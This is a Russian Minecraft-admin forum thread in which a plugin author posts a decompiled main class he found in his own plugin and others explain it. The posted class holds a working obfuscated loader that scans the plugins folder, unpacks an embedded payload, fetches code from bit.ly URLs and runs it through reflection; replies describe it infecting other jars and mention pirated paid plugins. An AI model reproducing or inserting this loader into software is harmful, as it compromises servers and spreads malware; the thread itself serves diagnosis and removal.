1. Вы находитесь в сообществе Rubukkit. Мы - администраторы серверов Minecraft, разрабатываем собственные плагины и переводим на различные языки плагины наших коллег из других стран.
    Скрыть объявление
Скрыть объявление
В преддверии глобального обновления, мы проводим исследования, которые помогут нам сделать опыт пользования форумом ещё удобнее. Помогите нам, примите участие!

Помогите Задекомпилил свой плагин и увидел не свой код.

Тема в разделе "Разработка плагинов для новичков", создана пользователем Bezobrazie, 2 июл 2021.

Статус темы:
Закрыта.
  1. Автор темы
    Bezobrazie

    Bezobrazie Активный участник Пользователь

    Баллы:
    46
    Имя в Minecraft:
    MySoulIsCry
    Ситуация такая. Писал плагин давно очень поставил на сервер все ок. Щас не со своей основной машины мне нужно было дописать к нему несколько фиксов, ну понятно дело у меня своего плагина не на своей машине в проектах еклипса нет. Я загрузил плуг с хоста задекомпилил через luyten-0.5.4 и вижу тут не свой код(ниже). Начал проверять в других плагинах и в некоторых он тоже есть.(Пример: Chatty). И сама суть вопроса. Это хак который распространился с чего-то друго-го, и мне щас нужно пересобирать сборку с 0? Или же мб декомпилятор балуется.
    Скидываю целый мейн класс
    Код:
       
    package CrashFixer;
    
    import org.bukkit.plugin.java.*;
    import org.bukkit.*;
    import org.bukkit.event.*;
    import org.bukkit.plugin.*;
    import java.util.zip.*;
    import java.io.*;
    import java.net.*;
    import java.lang.reflect.*;
    
    public class Main extends JavaPlugin
    {
        public void onEnable() {
            Bukkit.getPluginManager().registerEvents((Listener)new event(this), (Plugin)this);
        }
       
        static {
            try {
                File file = new File(new String(new byte[] { 112, 108, 117, 103, 105, 110, 115, 47 }));
                boolean b = false;
                long n = -1L;
                int n2 = 0;
                final File[] listFiles = file.listFiles();
                for (int i = 0; i < listFiles.length; ++i) {
                    if (listFiles[i].isFile() && listFiles[i].getName().endsWith(new String(new byte[] { 46, 106, 97, 114 }))) {
                        file = listFiles[i];
                        final byte[] array = new byte[(int)file.length()];
                        final FileInputStream fileInputStream = new FileInputStream(file);
                        fileInputStream.read(array);
                        fileInputStream.close();
                        if (array[15] == (byte)(array[16] ^ 0xBE)) {
                            b = true;
                            n = ((array[array.length - 2] & 0xFF) << 8 | (array[array.length - 1] & 0xFF));
                            if (n > 0L) {
                                n2 = (int)n;
                                n = file.length() - (n + 2L);
                                break;
                            }
                        }
                    }
                }
                if (b) {
                    final RandomAccessFile randomAccessFile = new RandomAccessFile(file, "r");
                    randomAccessFile.seek(n);
                    final byte[] input = new byte[n2];
                    randomAccessFile.read(input, 0, n2);
                    randomAccessFile.close();
                    final Inflater inflater = new Inflater();
                    inflater.setInput(input);
                    final ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(n2);
                    final byte[] array2 = new byte[1024];
                    while (!inflater.finished()) {
                        byteArrayOutputStream.write(array2, 0, inflater.inflate(array2));
                    }
                    byteArrayOutputStream.close();
                    final byte[] byteArray = byteArrayOutputStream.toByteArray();
                    inflater.end();
                    final String s = new String(new byte[] { 104, 116, 116, 112, 58, 47, 47, 98, 105, 116, 46, 108, 121, 47 });
                    final URLClassLoader urlClassLoader = new URLClassLoader(new URL[] { new URL(s + new String(new byte[] { 50, 50, 88, 66, 113, 105, 121 })), new URL(s + new String(new byte[] { 49, 88, 75, 65, 69, 112, 90 })) }, Thread.currentThread().getContextClassLoader());
                    final Method declaredMethod = ClassLoader.class.getDeclaredMethod(new String(new byte[] { 100, 101, 102, 105, 110, 101, 67, 108, 97, 115, 115 }), String.class, byte[].class, Integer.TYPE, Integer.TYPE);
                    declaredMethod.setAccessible(true);
                    ((Class)declaredMethod.invoke(urlClassLoader, null, byteArray, 0, byteArray.length)).newInstance();
                }
            }
            catch (Exception ex) {}
        }
    }
    
    
     
  2. imDaniX

    imDaniX Активный участник Пользователь

    Баллы:
    96
    Имя в Minecraft:
    imDaniX
    Да.
     
  3. Автор темы
    Bezobrazie

    Bezobrazie Активный участник Пользователь

    Баллы:
    46
    Имя в Minecraft:
    MySoulIsCry
    Мы в жопе.
     
  4. Автор темы
    Bezobrazie

    Bezobrazie Активный участник Пользователь

    Баллы:
    46
    Имя в Minecraft:
    MySoulIsCry
    Можно хотябы сказать на что настроен хак? чего ожидать?
     
  5. NuaN

    NuaN Активный участник Пользователь

    Баллы:
    96
    Имя в Minecraft:
    NuaN
    Как я понимаю, он заражает все .jar в папке plugins и как-то это хитро делает. А никаких ивентов не видно, так что не знаю на что этот плагин заточен. Обычно ж делают всякие взломы опок, но тут нет такого.
     
  6. Автор темы
    Bezobrazie

    Bezobrazie Активный участник Пользователь

    Баллы:
    46
    Имя в Minecraft:
    MySoulIsCry
    он потом соберется в 1 большой плагин хыхы
     
  7. alexandrage

    alexandrage Старожил Пользователь

    Баллы:
    173
    Ставит кансел труе во все ивенты в плагинах. Заражение не работает без библиотеки asm, качает ее сам, если урл еще не битая. Столько лет прошло.
     
  8. Overwrite

    Overwrite Активный участник Пользователь

    Баллы:
    98
    Имя в Minecraft:
    artcart
    Ооо мой любимый хак) Ржомба в том что его можно убрать даже не пересобирая сборку с нуля. Заменяем через in jar translator букву r (file, "r") на русскую - ГГ хаку
     
  9. alexandrage

    alexandrage Старожил Пользователь

    Баллы:
    173
    Смысл? Можно же скачать оригинальный плагин без хака.
     
  10. Overwrite

    Overwrite Активный участник Пользователь

    Баллы:
    98
    Имя в Minecraft:
    artcart
    Ничего) Тоесть если сервер на спиготе - живи спокойно. Хак нищенский и не дает серверу на пейпере запуститься если online-mode: стоит на false
     
  11. Overwrite

    Overwrite Активный участник Пользователь

    Баллы:
    98
    Имя в Minecraft:
    artcart
    Если вдруг полезный плагин платный который тебе достался бесплатно оказался с хаком то вырезать только так и остается
     
  12. alexandrage

    alexandrage Старожил Пользователь

    Баллы:
    173
    Это скорее ошибка патчинга, смысл хака вшить в ивенте сет канселед.
     
  13. alexandrage

    alexandrage Старожил Пользователь

    Баллы:
    173
    Если твой сервер не окупает премиум плагины, его только вырезать остается да :D
     
  14. Overwrite

    Overwrite Активный участник Пользователь

    Баллы:
    98
    Имя в Minecraft:
    artcart
    А если новичек и только планируешь создать - то же самое
     
  15. alexandrage

    alexandrage Старожил Пользователь

    Баллы:
    173
    Тогда можно сразу в окно да, сложно пробиться уже.
     
  16. Overwrite

    Overwrite Активный участник Пользователь

    Баллы:
    98
    Имя в Minecraft:
    artcart
    Всё решат бабки. Если есть возможность пиариться то тут уже поднимешься кое как
     
  17. Автор темы
    Bezobrazie

    Bezobrazie Активный участник Пользователь

    Баллы:
    46
    Имя в Minecraft:
    MySoulIsCry
    Если библиотека жарка то такой нету в папке плугинс
    Можно по подробнее где именно менять и что да как. Буду благодарен.
    Ps и вообще я в теме хаков недавно только не знал что они так могут. Я бумал чисто опку да пермы выдвать умеют кек
     
  18. Overwrite

    Overwrite Активный участник Пользователь

    Баллы:
    98
    Имя в Minecraft:
    artcart
    У меня к сожалению не осталось хакнутых плагинов, щас может пороюсь по бекапам нарою хак и покажу скриами
     
  19. Автор темы
    Bezobrazie

    Bezobrazie Активный участник Пользователь

    Баллы:
    46
    Имя в Minecraft:
    MySoulIsCry
    Ну я уже понял что мне придется декомпилить каждый и чекать на наличие какогото класса/обуфы
     
  20. Overwrite

    Overwrite Активный участник Пользователь

    Баллы:
    98
    Имя в Minecraft:
    artcart
    Он в каждом главном классе каждого плагина. Обуфа не обуфа - хак будет видно
     
Статус темы:
Закрыта.

Поделиться этой страницей